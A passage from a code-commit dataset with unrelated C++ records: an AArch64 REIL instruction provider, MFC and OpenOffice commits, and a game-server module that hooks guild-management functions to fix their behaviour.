KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"flow_graph\/instruction_provider.h\"\n\n#include \"absl\/memory\/memory.h\"\n\n#include \"reil\/aarch64.h\"\n\n#define GOOGLE_STRIP_LOG 1\n#include \"glog\/logging.h\"\n\nnamespace reil {\nuint64_t InstructionProvider::NextNativeInstruction(uint64_t address) {\n  uint64_t next_address = 0;\n\n  if (memory_image_.executable(address)) {\n    absl::Span<const uint8_t> bytes = memory_image_.Read(address);\n    next_address = NextNativeInstruction(address, bytes);\n  }\n\n  return next_address;\n}\n\nstd::shared_ptr<reil::NativeInstruction> InstructionProvider::NativeInstruction(\n    uint64_t address) {\n  std::shared_ptr<reil::NativeInstruction> ni = nullptr;\n\n  auto cache_iter = cache_.find(address);\n  if (cache_iter != cache_.end()) {\n    ni = cache_iter->second.lock();\n  }\n\n  if (!ni) {\n    if (memory_image_.executable(address)) {\n      absl::Span<const uint8_t> bytes = memory_image_.Read(address);\n      ni = std::make_shared<reil::NativeInstruction>(NativeInstruction(address, bytes));\n      cache_[address] = ni;\n      cache__[cache__index_++ % cache__.size()] = ni;\n    }\n  }\n\n  return ni;\n}\n\nNode InstructionProvider::NextInstruction(const Node& node) {\n  auto ni = NativeInstruction(node.address);\n  if ((uint64_t)node.offset + 1 < ni->reil.size()) {\n    return Node(node.address, node.offset + 1);\n  } else {\n    return Node(NextNativeInstruction(node.address));\n  }\n}\n\nreil::Instruction InstructionProvider::Instruction(const Node& node) {\n  auto ni = NativeInstruction(node.address);\n  DCHECK(node.offset < ni->reil.size());\n  return ni->reil[node.offset];\n}\n\nInstructionProvider::InstructionProvider(const MemoryImage& memory_image,\n                                   enum TranslationFlags flags)\n    : memory_image_(memory_image), flags_(flags) {}\n\nInstructionProvider::~InstructionProvider() {}\n\nclass AArch64InstructionProvider : public InstructionProvider {\n protected:\n  uint64_t NextNativeInstruction(uint64_t address,\n                                 absl::Span<const uint8_t> bytes) override;\n  reil::NativeInstruction NativeInstruction(uint64_t address,\n                                      absl::Span<const uint8_t> bytes) override;\n\n public:\n  AArch64InstructionProvider(const MemoryImage& memory_image,\n                          enum TranslationFlags flags)\n      : InstructionProvider(memory_image, flags) {}\n};\n\nuint64_t AArch64InstructionProvider::NextNativeInstruction(\n    uint64_t address, absl::Span<const uint8_t> bytes) {\n  return address + 4;\n}\n\nreil::NativeInstruction AArch64InstructionProvider::NativeInstruction(\n    uint64_t address, absl::Span<const uint8_t> bytes) {\n  return reil::aarch64::TranslateInstruction(address, bytes.data(),\n                                             bytes.size(), flags_);\n}\n\nstd::unique_ptr<InstructionProvider> InstructionProvider::Create(\n    const MemoryImage& memory_image, enum TranslationFlags flags) {\n  if (memory_image.architecture_name() == \"aarch64\") {\n    return absl::make_unique<AArch64InstructionProvider>(memory_image, flags);\n  } else {\n    LOG(FATAL) << \"Unsupported architecture\";\n  }\n}\n}  \/\/ namespace reil<|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\n#include \"CPlotApp.h\"\n#include \"Document.h\"\n#include \"..\/Persistence\/Serializer.h\"\n#include \"MainWindow.h\"\n#include \"SideView.h\"\n#include <propkey.h>\n#ifdef _DEBUG\n#define new DEBUG_NEW\n#endif\n\nIMPLEMENT_DYNCREATE(Document, CDocument)\n\nDocument::Document()\n: plot(rns)\n{\n}\n\nDocument::~Document()\n{\n}\n\nBOOL Document::OnNewDocument()\n{\n\tif (!CDocument::OnNewDocument()) return FALSE;\n\n\tplot.clear();\n\trns.clear();\n\n\treturn TRUE;\n}\n\nvoid Document::Serialize(CArchive &ar)\n{\n\tMainWindow* w = (MainWindow*)AfxGetMainWnd();\n\tSideView *sv = w ? &w->GetSideView() : NULL;\n\n\tif (ar.IsStoring())\n\t{\n\t\tFileWriter fw(ar.GetFile());\n\t\tSerializer  w(fw);\n\t\trns.save(w);\n\t\tplot.save(w);\n\t\tBoxState b; b.all = -1;\n\t\tif (sv) b = sv->GetBoxState();\n\t\tif (w.version() >= FILE_VERSION_1_8) w.uint32_(b.all);\n\t\tw.marker_(\"EOF.\");\n\t}\n\telse\n\t{\n\t\tFileReader   fr(ar.GetFile());\n\t\tDeserializer s(fr);\n\t\tplot.clear(); \/\/ TODO: don't modify on fail\n\t\trns.clear();\n\t\trns.load(s);\n\t\tplot.load(s);\n\t\tBoxState b; b.all = -1;\n\t\tif (s.version() >= FILE_VERSION_1_8) s.uint32_(b.all);\n\t\ts.marker_(\"EOF.\");\n\t\tassert(s.done());\n\t\tif (sv) sv->SetBoxState(b);\n\t}\n}\n<commit_msg>handle serialization errors better<commit_after>#include \"stdafx.h\"\n#include \"CPlotApp.h\"\n#include \"Document.h\"\n#include \"..\/Persistence\/Serializer.h\"\n#include \"MainWindow.h\"\n#include \"SideView.h\"\n#include <propkey.h>\n#ifdef _DEBUG\n#define new DEBUG_NEW\n#endif\n\nIMPLEMENT_DYNCREATE(Document, CDocument)\n\nDocument::Document()\n: plot(rns)\n{\n}\n\nDocument::~Document()\n{\n}\n\nBOOL Document::OnNewDocument()\n{\n\tif (!CDocument::OnNewDocument()) return FALSE;\n\n\tplot.clear();\n\trns.clear();\n\n\treturn TRUE;\n}\n\nvoid Document::Serialize(CArchive &ar)\n{\n\tMainWindow* w = (MainWindow*)AfxGetMainWnd();\n\tSideView *sv = w ? &w->GetSideView() : NULL;\n\n\ttry\n\t{\n\t\tif (ar.IsStoring())\n\t\t{\n\t\t\tFileWriter fw(ar.GetFile());\n\t\t\tSerializer  w(fw);\n\t\t\trns.save(w);\n\t\t\tplot.save(w);\n\t\t\tBoxState b; b.all = -1;\n\t\t\tif (sv) b = sv->GetBoxState();\n\t\t\tif (w.version() >= FILE_VERSION_1_8) w.uint32_(b.all);\n\t\t\tw.marker_(\"EOF.\");\n\t\t}\n\t\telse\n\t\t{\n\t\t\tFileReader   fr(ar.GetFile());\n\t\t\tDeserializer s(fr);\n\t\t\tplot.clear(); \/\/ TODO: don't modify on fail\n\t\t\trns.clear();\n\t\t\trns.load(s);\n\t\t\tplot.load(s);\n\t\t\tBoxState b; b.all = -1;\n\t\t\tif (s.version() >= FILE_VERSION_1_8) s.uint32_(b.all);\n\t\t\ts.marker_(\"EOF.\");\n\t\t\tassert(s.done());\n\t\t\tif (sv) sv->SetBoxState(b);\n\t\t}\n\t}\n\tcatch (const std::exception &ex)\n\t{\n\t\tMessageBox(NULL, CString(ex.what()), _T(\"Error\"), MB_OK | MB_ICONERROR);\n\t\tTHROW(new CArchiveException);\n\t}\n\tcatch (...)\n\t{\n\t\tMessageBox(NULL, _T(\"Unexpected exception\"), _T(\"Error\"), MB_OK | MB_ICONERROR);\n\t\tTHROW(new CArchiveException);\n\t}\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  $RCSfile: EditBase.hxx,v $\n *\n *  $Revision: 1.5 $\n *\n *  last change: $Author: fs $ $Date: 2002-12-02 09:56:30 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _FORMS_EDITBASE_HXX_\n#define _FORMS_EDITBASE_HXX_\n\n#ifndef _FORMS_FORMCOMPONENT_HXX_\n#include \"FormComponent.hxx\"\n#endif\n#ifndef _DATE_HXX\n#include <tools\/date.hxx>\n#endif\n#ifndef _LINK_HXX\n#include <tools\/link.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_UTIL_XNUMBERFORMATTER_HPP_\n#include <com\/sun\/star\/util\/XNumberFormatter.hpp>\n#endif\n#ifndef _COM_SUN_STAR_AWT_XFOCUSLISTENER_HPP_\n#include <com\/sun\/star\/awt\/XFocusListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_AWT_XKEYLISTENER_HPP_\n#include <com\/sun\/star\/awt\/XKeyListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_FORM_XCHANGEBROADCASTER_HPP_\n#include <com\/sun\/star\/form\/XChangeBroadcaster.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XEVENTLISTENER_HPP_\n#include <com\/sun\/star\/lang\/XEventListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XCOMPONENT_HPP_\n#include <com\/sun\/star\/lang\/XComponent.hpp>\n#endif\n\n\/\/ persistence flags for use with the version id\n#define PF_HANDLE_COMMON_PROPS  0x8000\n    \/\/ Derived classes which use their own persistence methods (read\/write) and have an own\n    \/\/ version handling therein may want to clear this flag in getPersistenceFlags.\n    \/\/ If done so, this class will write an version without a call to writeCommonEditProperties.\n#define PF_FAKE_FORMATTED_FIELD 0x4000\n    \/\/ .... hmmm .... a fake, as the name suggests. see OFormattedFieldWrapper\n#define PF_RESERVED_2           0x2000\n#define PF_RESERVED_3           0x1000\n#define PF_RESERVED_4           0x0800\n#define PF_RESERVED_5           0x0400\n#define PF_RESERVED_6           0x0200\n#define PF_RESERVED_7           0x0100\n\n#define PF_SPECIAL_FLAGS        0xFF00\n\n\/\/.........................................................................\nnamespace frm\n{\n\n\/\/==================================================================\n\/\/= OEditBaseModel\n\/\/==================================================================\nclass OEditBaseModel :  public OBoundControlModel\n{\n    sal_Int16                   m_nLastReadVersion;\n\nprotected:\n\/\/ [properties]         fuer all Editierfelder\n    ::com::sun::star::uno::Any  m_aDefault;\n    ::rtl::OUString             m_aDefaultText;             \/\/ default value\n    sal_Bool                    m_bEmptyIsNull : 1;         \/\/ empty string will be interepreted as NULL when committing\n    sal_Bool                    m_bFilterProposal : 1;      \/\/ use a list of possible value in filtermode\n\/\/ [properties]\n\n    sal_Int16   getLastReadVersion() const { return m_nLastReadVersion; }\n\npublic:\n    DECLARE_DEFAULT_XTOR( OEditBaseModel );\n\n    \/\/ XPersistObject\n    virtual void SAL_CALL write(const ::com::sun::star::uno::Reference< ::com::sun::star::io::XObjectOutputStream>& _rxOutStream) throw ( ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL read(const ::com::sun::star::uno::Reference< ::com::sun::star::io::XObjectInputStream>& _rxInStream) throw ( ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n\n    \/\/ XPropertySet\n    virtual void SAL_CALL getFastPropertyValue(::com::sun::star::uno::Any& rValue, sal_Int32 nHandle ) const;\n    virtual sal_Bool SAL_CALL convertFastPropertyValue(::com::sun::star::uno::Any& rConvertedValue, ::com::sun::star::uno::Any& rOldValue,\n                                          sal_Int32 nHandle, const ::com::sun::star::uno::Any& rValue )\n                                        throw(::com::sun::star::lang::IllegalArgumentException);\n    virtual void SAL_CALL setFastPropertyValue_NoBroadcast(sal_Int32 nHandle, const ::com::sun::star::uno::Any& rValue) throw ( ::com::sun::star::uno::Exception);\n\n    \/\/ XPropertyState\n    virtual ::com::sun::star::beans::PropertyState getPropertyStateByHandle(sal_Int32 nHandle);\n    virtual void setPropertyToDefaultByHandle(sal_Int32 nHandle);\n    virtual ::com::sun::star::uno::Any getPropertyDefaultByHandle( sal_Int32 nHandle ) const;\n\nprotected:\n    \/\/ new properties common to all edit models should be handled with the following two methods\n    void SAL_CALL readCommonEditProperties(const ::com::sun::star::uno::Reference< ::com::sun::star::io::XObjectInputStream>& _rxInStream);\n    void SAL_CALL writeCommonEditProperties(const ::com::sun::star::uno::Reference< ::com::sun::star::io::XObjectOutputStream>& _rxOutStream);\n    void defaultCommonEditProperties();\n\n    virtual sal_Int16 getPersistenceFlags() const;\n        \/\/ derived classes may use this if they want this base class to write additinal version flags\n        \/\/ (one of the PF_.... constants). After ::read they may ask for that flags with getLastReadVersion\n};\n\n\/\/.........................................................................\n}\n\/\/.........................................................................\n\n#endif \/\/ _FORMS_EDITBASE_HXX_\n\n<commit_msg>INTEGRATION: CWS formcelllinkage (1.5.92); FILE MERGED 2003\/10\/01 09:18:23 fs 1.5.92.1: #i18994# merging the changes from the CWS fs002<commit_after>\/*************************************************************************\n *\n *  $RCSfile: EditBase.hxx,v $\n *\n *  $Revision: 1.6 $\n *\n *  last change: $Author: obo $ $Date: 2003-10-21 08:57:29 $\n *\n *  The Contents of this file are made available subject to the terms of\n *  either of the following licenses\n *\n *         - GNU Lesser General Public License Version 2.1\n *         - Sun Industry Standards Source License Version 1.1\n *\n *  Sun Microsystems Inc., October, 2000\n *\n *  GNU Lesser General Public License Version 2.1\n *  =============================================\n *  Copyright 2000 by Sun Microsystems, Inc.\n *  901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License version 2.1, as published by the Free Software Foundation.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *  MA  02111-1307  USA\n *\n *\n *  Sun Industry Standards Source License Version 1.1\n *  =================================================\n *  The contents of this file are subject to the Sun Industry Standards\n *  Source License Version 1.1 (the \"License\"); You may not use this file\n *  except in compliance with the License. You may obtain a copy of the\n *  License at http:\/\/www.openoffice.org\/license.html.\n *\n *  Software provided under this License is provided on an \"AS IS\" basis,\n *  WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n *  WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n *  MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n *  See the License for the specific provisions governing your rights and\n *  obligations concerning the Software.\n *\n *  The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n *  Copyright: 2000 by Sun Microsystems, Inc.\n *\n *  All Rights Reserved.\n *\n *  Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef _FORMS_EDITBASE_HXX_\n#define _FORMS_EDITBASE_HXX_\n\n#ifndef _FORMS_FORMCOMPONENT_HXX_\n#include \"FormComponent.hxx\"\n#endif\n#ifndef _DATE_HXX\n#include <tools\/date.hxx>\n#endif\n#ifndef _LINK_HXX\n#include <tools\/link.hxx>\n#endif\n\n#ifndef _COM_SUN_STAR_UTIL_XNUMBERFORMATTER_HPP_\n#include <com\/sun\/star\/util\/XNumberFormatter.hpp>\n#endif\n#ifndef _COM_SUN_STAR_AWT_XFOCUSLISTENER_HPP_\n#include <com\/sun\/star\/awt\/XFocusListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_AWT_XKEYLISTENER_HPP_\n#include <com\/sun\/star\/awt\/XKeyListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_FORM_XCHANGEBROADCASTER_HPP_\n#include <com\/sun\/star\/form\/XChangeBroadcaster.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XEVENTLISTENER_HPP_\n#include <com\/sun\/star\/lang\/XEventListener.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XSERVICEINFO_HPP_\n#include <com\/sun\/star\/lang\/XServiceInfo.hpp>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XCOMPONENT_HPP_\n#include <com\/sun\/star\/lang\/XComponent.hpp>\n#endif\n\n\/\/ persistence flags for use with the version id\n#define PF_HANDLE_COMMON_PROPS  0x8000\n    \/\/ Derived classes which use their own persistence methods (read\/write) and have an own\n    \/\/ version handling therein may want to clear this flag in getPersistenceFlags.\n    \/\/ If done so, this class will write an version without a call to writeCommonEditProperties.\n#define PF_FAKE_FORMATTED_FIELD 0x4000\n    \/\/ .... hmmm .... a fake, as the name suggests. see OFormattedFieldWrapper\n#define PF_RESERVED_2           0x2000\n#define PF_RESERVED_3           0x1000\n#define PF_RESERVED_4           0x0800\n#define PF_RESERVED_5           0x0400\n#define PF_RESERVED_6           0x0200\n#define PF_RESERVED_7           0x0100\n\n#define PF_SPECIAL_FLAGS        0xFF00\n\n\/\/.........................................................................\nnamespace frm\n{\n\n\/\/==================================================================\n\/\/= OEditBaseModel\n\/\/==================================================================\nclass OEditBaseModel :  public OBoundControlModel\n{\n    sal_Int16                   m_nLastReadVersion;\n\nprotected:\n\/\/ [properties]         fuer all Editierfelder\n    ::com::sun::star::uno::Any  m_aDefault;\n    ::rtl::OUString             m_aDefaultText;             \/\/ default value\n    sal_Bool                    m_bEmptyIsNull : 1;         \/\/ empty string will be interepreted as NULL when committing\n    sal_Bool                    m_bFilterProposal : 1;      \/\/ use a list of possible value in filtermode\n\/\/ [properties]\n\n    sal_Int16   getLastReadVersion() const { return m_nLastReadVersion; }\n\npublic:\n    DECLARE_DEFAULT_BOUND_XTOR( OEditBaseModel );\n\n    \/\/ XPersistObject\n    virtual void SAL_CALL write(const ::com::sun::star::uno::Reference< ::com::sun::star::io::XObjectOutputStream>& _rxOutStream) throw ( ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n    virtual void SAL_CALL read(const ::com::sun::star::uno::Reference< ::com::sun::star::io::XObjectInputStream>& _rxInStream) throw ( ::com::sun::star::io::IOException, ::com::sun::star::uno::RuntimeException);\n\n    \/\/ XPropertySet\n    virtual void SAL_CALL getFastPropertyValue(::com::sun::star::uno::Any& rValue, sal_Int32 nHandle ) const;\n    virtual sal_Bool SAL_CALL convertFastPropertyValue(::com::sun::star::uno::Any& rConvertedValue, ::com::sun::star::uno::Any& rOldValue,\n                                          sal_Int32 nHandle, const ::com::sun::star::uno::Any& rValue )\n                                        throw(::com::sun::star::lang::IllegalArgumentException);\n    virtual void SAL_CALL setFastPropertyValue_NoBroadcast(sal_Int32 nHandle, const ::com::sun::star::uno::Any& rValue) throw ( ::com::sun::star::uno::Exception);\n\n    \/\/ XPropertyState\n    virtual ::com::sun::star::beans::PropertyState getPropertyStateByHandle(sal_Int32 nHandle);\n    virtual void setPropertyToDefaultByHandle(sal_Int32 nHandle);\n    virtual ::com::sun::star::uno::Any getPropertyDefaultByHandle( sal_Int32 nHandle ) const;\n\nprotected:\n    \/\/ new properties common to all edit models should be handled with the following two methods\n    void SAL_CALL readCommonEditProperties(const ::com::sun::star::uno::Reference< ::com::sun::star::io::XObjectInputStream>& _rxInStream);\n    void SAL_CALL writeCommonEditProperties(const ::com::sun::star::uno::Reference< ::com::sun::star::io::XObjectOutputStream>& _rxOutStream);\n    void defaultCommonEditProperties();\n\n    virtual sal_Int16 getPersistenceFlags() const;\n        \/\/ derived classes may use this if they want this base class to write additinal version flags\n        \/\/ (one of the PF_.... constants). After ::read they may ask for that flags with getLastReadVersion\n};\n\n\/\/.........................................................................\n}\n\/\/.........................................................................\n\n#endif \/\/ _FORMS_EDITBASE_HXX_\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\n\n#include \"Guild.h\"\n#include <ATF\/global.hpp>\n#include <ATF\/CItemStoreManager.hpp>\n\nnamespace GameServer\n{\n    namespace Fixes\n    {\n        void CGuild::load()\n        {\n            enable_hook(&ATF::CGuild::ManageAcceptORRefuseGuildBattle, &CGuild::ManageAcceptORRefuseGuildBattle);\n            enable_hook(&ATF::CPlayer::pc_GuildRoomEnterRequest, &CGuild::pc_GuildRoomEnterRequest);\n            enable_hook(&ATF::CPlayer::pc_GuildRoomOutRequest, &CGuild::pc_GuildRoomOutRequest);\n            enable_hook(&ATF::CPlayer::pc_GuildManageRequest, &CGuild::pc_GuildManageRequest);\n            enable_hook(&ATF::CGuild::ManageExpulseMember, &CGuild::ManageExpulseMember);\n        }\n\n        void CGuild::unload()\n        {\n            cleanup_all_hook();\n        }\n\n        ModuleName_t CGuild::get_name()\n        {\n            static const ModuleName_t name = \"fix_Guild\";\n            return name;\n        }\n\n        char WINAPIV CGuild::ManageAcceptORRefuseGuildBattle(\n            ATF::CGuild * pObj, \n            bool bAccept, \n            ATF::Info::CGuildManageAcceptORRefuseGuildBattle80_ptr next)\n        {\n            UNREFERENCED_PARAMETER(next);\n\n            static const int dwCostBattleGold = 5000;\n\n            char result = 0;\n            do\n            {\n                if (pObj->m_GuildBattleSugestMatter.eState != ATF::_guild_battle_suggest_matter::APPLY_BATTLE_REQUEST_SUGGEST)\n                {\n                    result = 111;\n                    break;\n                }\n                    \n                if (bAccept)\n                {\n                    if (pObj->m_dTotalGold < dwCostBattleGold)\n                    {\n                        result = 116;\n                        break;\n                    }\n\n                    result = ATF::CGuildBattleController::Instance()->Add(\n                        pObj->m_GuildBattleSugestMatter.pkSrc,\n                        pObj->m_GuildBattleSugestMatter.pkDest,\n                        pObj->m_GuildBattleSugestMatter.dwStartTime,\n                        pObj->m_GuildBattleSugestMatter.dwNumber,\n                        pObj->m_GuildBattleSugestMatter.dwMapIdx);\n\n                    if (result)\n                    {\n                        if (result == 112)\n                            result = 119;\n\n                        pObj->m_GuildBattleSugestMatter.pkSrc->PushDQSInGuildBattleCost();\n                        pObj->m_GuildBattleSugestMatter.pkSrc->SendMsg_ApplyGuildBattleResultInform(result, pObj->m_wszName);\n                    }\n                    else\n                    {\n                        pObj->PushDQSDestGuildOutputGuildBattleCost();\n                        if (ATF::CHonorGuild::Instance()->CheckHonorGuild(\n                            pObj->m_GuildBattleSugestMatter.pkSrc->m_byRace, \n                            pObj->m_GuildBattleSugestMatter.pkSrc->m_dwSerial))\n                        {\n                            ATF::CMoneySupplyMgr::Instance()->UpdateHonorGuildMoneyData(1, pObj->m_byRace, dwCostBattleGold);\n                        }\n                    }\n                }\n                else\n                {\n                    pObj->m_GuildBattleSugestMatter.pkSrc->SendMsg_GuildBattleRefused(pObj->m_wszName);\n                    pObj->m_GuildBattleSugestMatter.pkSrc->PushDQSInGuildBattleCost();\n                }\n\n                pObj->m_GuildBattleSugestMatter.pkSrc->m_GuildBattleSugestMatter.Clear();\n                pObj->m_GuildBattleSugestMatter.Clear();\n            } while (false);\n\n            return result;\n        }\n\n        void WINAPIV CGuild::pc_GuildRoomEnterRequest(\n            ATF::CPlayer * pPlayer,\n            ATF::_guildroom_enter_request_clzo * pProtocol,\n            ATF::Info::CPlayerpc_GuildRoomEnterRequest1755_ptr next)\n        {\n            UNREFERENCED_PARAMETER(next);\n\n            auto fnFindNpc = [pPlayer](ATF::CMapItemStoreList* pMapItemStoreList)->bool\n            {\n                for (int j = 0; j < pMapItemStoreList->m_nItemStoreNum; ++j)\n                {\n                    auto& pItemStore = pMapItemStoreList->m_ItemStore[j];\n                    if (!pItemStore.m_bLive)\n                        continue;\n\n                    auto pPosStore = pItemStore.GetStorePos();\n                    for (auto button : pItemStore.m_pRec->m_nNpc_Class)\n                    {\n                        if (button != 44)\n                            continue;\n\n                        if (ATF::Global::Get3DSqrt(pPosStore, pPlayer->m_fCurPos) < 100.0)\n                        {\n                            return true;\n                        }\n                    }\n                }\n\n                return false;\n            };\n\n            char byRetCode = 0;\n            char bySubRetCode = 3;\n            char byMapIndex = 0;\n            int nRoomType = 0;\n            unsigned __int16 wMapLayer = 0;\n            float pfStartPos[3];\n\n            do\n            {\n                if (pPlayer->GetCurSecNum() == -1 || pPlayer->m_bMapLoading)\n                {\n                    byRetCode = 5;\n                    break;\n                }\n\n                if (pPlayer->IsRidingUnit())\n                {\n                    byRetCode = 6;\n                    break;\n                }\n\n                if (pPlayer->m_byStandType == 1)\n                {\n                    byRetCode = 7;\n                    break;\n                }\n\n                if (!pPlayer->m_Param.m_pGuild)\n                {\n                    byRetCode = 1;\n                    break;\n                }\n\n                auto pGuild = pPlayer->m_Param.m_pGuild;\n                if (pProtocol->dwGuildSerial != pGuild->m_dwSerial)\n                {\n                    byRetCode = 1;\n                    break;\n                }\n\n                auto pGuildRoomSystem = ATF::CGuildRoomSystem::GetInstance();\n                if (!pGuildRoomSystem->IsRoomRented(pGuild->m_dwSerial))\n                {\n                    byRetCode = 2;\n                    break;\n                }\n\n                bySubRetCode = pGuildRoomSystem->RoomIn(pGuild->m_dwSerial, pPlayer->m_ObjID.m_wIndex, pPlayer->m_pUserDB->m_dwSerial);\n                if (bySubRetCode)\n                {\n                    byRetCode = 3;\n                    break;\n                }\n\n                ATF::CMapData *pMap = nullptr;\n                char byRoomType;\n                if (!pGuildRoomSystem->GetMapPos(pGuild->m_dwSerial, pfStartPos, pMap, &wMapLayer, &byRoomType))\n                {\n                    pGuildRoomSystem->RoomOut(pGuild->m_dwSerial, pPlayer->m_ObjID.m_wIndex, pPlayer->m_pUserDB->m_dwSerial);\n                    byRetCode = 4;\n                    break;\n                }\n\n                if (pPlayer->m_byStoneMapMoveInfo == 1)\n                {\n                    pPlayer->m_byStoneMapMoveInfo = 2;\n                }\n                else if (pPlayer->m_byStoneMapMoveInfo == 2)\n                {\n                    byRetCode = 5;\n                    break;\n                }\n                else\n                {\n                    auto nSerial = pPlayer->m_pCurMap->GetMapCode();\n                    auto pItemStoreMngInstance = ATF::CItemStoreManager::Instance();\n                    auto pItemStoreList = pItemStoreMngInstance->GetMapItemStoreListBySerial(nSerial);\n                    if (!pItemStoreList)\n                    {\n                        byRetCode = 5;\n                        break;\n                    }\n\n                    if (!fnFindNpc(pItemStoreList))\n                    {\n                        byRetCode = 5;\n                        break;\n                    }\n                }\n\n                \/\/ SUCESS\n                byRetCode = 10;\n                pMap = pGuildRoomSystem->GetMapData(pPlayer->m_Param.GetRaceCode(), byRoomType);\n                pPlayer->OutOfMap(pMap, wMapLayer, 3, pfStartPos);\n                byMapIndex = pMap->m_pMapSet->m_dwIndex;\n                pGuildRoomSystem->GetRestTime(pGuild->m_dwSerial, &nRoomType);\n            } while (false);\n\n            pPlayer->SendMsg_GuildRoomEnterResult(\n                byRetCode,\n                bySubRetCode,\n                byMapIndex,\n                wMapLayer,\n                pfStartPos,\n                nRoomType);\n        }\n\n        void WINAPIV CGuild::pc_GuildRoomOutRequest(\n            ATF::CPlayer * pPlayer,\n            ATF::_guildroom_out_request_clzo * pProtocol,\n            ATF::Info::CPlayerpc_GuildRoomOutRequest1757_ptr next)\n        {\n            UNREFERENCED_PARAMETER(next);\n            char byResult = 0;\n\n            do\n            {\n                if (pPlayer->GetCurSecNum() == -1 || pPlayer->m_bMapLoading)\n                {\n                    byResult = 4;\n                    break;\n                }\n\n                if (pPlayer->IsRidingUnit())\n                {\n                    byResult = 5;\n                    break;\n                }\n                \n                if (pPlayer->m_byStandType == 1)\n                {\n                    byResult = 6;\n                    break;\n                }\n\n                if (!pPlayer->m_Param.m_pGuild)\n                {\n                    byResult = 1;\n                    break;\n                }\n\n                auto pGuild = pPlayer->m_Param.m_pGuild;\n                if (pProtocol->dwGuildSerial != pGuild->m_dwSerial)\n                {\n                    byResult = 1;\n                    break;\n                }\n\n                auto pGuildRoomSystem = ATF::CGuildRoomSystem::GetInstance();\n                if (!pGuildRoomSystem->IsRoomRented(pGuild->m_dwSerial))\n                {\n                    byResult = 2;\n                    break;\n                }\n                \n                if (!pGuildRoomSystem->RoomIn(pGuild->m_dwSerial, pPlayer->m_ObjID.m_wIndex, pPlayer->m_pUserDB->m_dwSerial))\n                {\n                    byResult = 1;\n                    break;\n                }\n\n                if (!pGuildRoomSystem->SetPlayerOut(pGuild->m_dwSerial, pPlayer->m_ObjID.m_wIndex, pPlayer->m_pUserDB->m_dwSerial))\n                {\n                    byResult = 2;\n                    break;\n                }\n            } while (false);\n\n            if (byResult != 0)\n                pPlayer->SendMsg_GuildRoomOutResult(byResult, 0, 0, nullptr);\n        }\n\n        char WINAPIV CGuild::ManageExpulseMember(\n            ATF::CGuild * pGuild,\n            unsigned int dwMemberSerial,\n            ATF::Info::CGuildManageExpulseMember84_ptr next)\n        {\n            auto pInstance = ATF::GUILD_BATTLE::CNormalGuildBattleManager::Instance();\n            LPVOID pBattle = pInstance->GetBattleByGuildSerial(pGuild->m_dwSerial);\n            if (pBattle)\n            {\n                return 0x6e;\n            }\n\n            return next(pGuild, 